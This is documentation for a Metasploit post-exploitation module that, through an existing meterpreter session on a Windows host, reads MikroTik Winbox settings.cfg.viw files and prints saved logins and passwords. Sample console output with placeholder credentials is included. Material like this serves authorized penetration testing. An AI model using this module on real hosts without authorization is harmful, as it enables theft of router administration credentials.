documentation/modules/post/windows/gather/credentials/winbox_settings.md
Any Windows host with a meterpreter session and Mikrotik Winbox installed.
Winbox can be downloaded here
Connect to, username into Login, password into Password and check the flag Keep Passwordmeterpreter session on a Windows host.run post/windows/gather/credentials/winbox_settingsKeep Password enabled in Winbox, the credentials will be printed out.settings.cfg.viw files.msf post(windows/gather/credentials/winbox_settings) > run
[*] VERBOSE: false
[*] Checking Default Locations...
[*] C:\Users\Administrator\AppData\Roaming\Mikrotik\Winbox\settings.cfg.viw not found ....
[*] Found File at C:\Users\FooBar\AppData\Roaming\Mikrotik\Winbox\settings.cfg.viw
[+] Login: ThisIsUsername
[+] Password: ThisIsPassword
[*] Post module execution completed